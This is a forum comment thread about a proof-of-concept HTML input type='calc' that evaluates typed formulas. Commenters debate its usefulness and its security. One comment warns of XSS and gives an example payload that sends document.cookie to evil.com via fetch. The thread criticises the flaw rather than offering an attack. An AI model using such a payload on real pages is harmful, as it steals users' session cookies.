1. 10
  1.  

  2. 14

    I don’t see a use to this at all. Is it just me? I don’t think many people want to input formulas into text boxes. Or if they do, the formula itself is useful and relevant, so it disappearing once the user unfocuses would be non-optimal. (Could save it to a data- attribute and switch it in on focus though.)

    1. 7

      UI design: Now and again you are doing simple pixel calculations when laying out design components (Sketch does it). Accounting/tax forms: once and again you might need a simple sum or product. Obviously, embedding a full javascript “eval” inside a form field is not a very good idea. But a simplified calculator can be very useful (limited to what a typical calculator can do).

      1. 5

        So, if you were using this in a CAD program or similar, it’d be helpful.

        1. 4

          I agree. I can think of very few situations where this would be useful - and in almost every situtation where it would’ve been, then you would want the original formula to be editable. For example, I was working on a data analysis tool that allowed for complex input of mathematical equations in order to change the output of a graph. This calc would not have been useful there, I would have had to still build my own.

          1. 2

            I thought about saving it - but then you really need a two-input system where the formula is visible in one place and evaluated into another field I think

          2. 7

            Your demo is vulnerable to XSS.

            If Math.max works, does alert(1) work? What about fetch('http://evil.com/?'+document.cookie)?

            Historically everyone trying to write a JavaScript sandbox without vulnerabilities failed. What’s your plan?

            1. 7

              Yes, this is more like a type=“eval” than anything else.

              1. 3

                My plan is not to hide behind any pretence of implementing it in a ‘more secure’ way at all! It is exactly what it looks like, and it should be very easy for people to read and understand :D

                1. 3

                  I think a proper parser would be sufficient.

                  1. 3

                    Isn’t that “self-XSS”? The user themselves have to change the field… so, they presumably already have access to the page? (And if you’re changing via JS then you already have JS access to the page?)

                    1. 3

                      Come on guys!

                      This is a proof-of-concept. Not a polyfill. Not a production-ready library. Sure it’s vulnerable to some attacks, but that’s because it’s an experiment (see the title: Dreaming of type=“calc”).

                      If it were ever implemented in major browsers, it would not be a JS solution, and would be properly sandboxed. Can we get past all that and just discuss the pros/cons of having this feature in native HTML?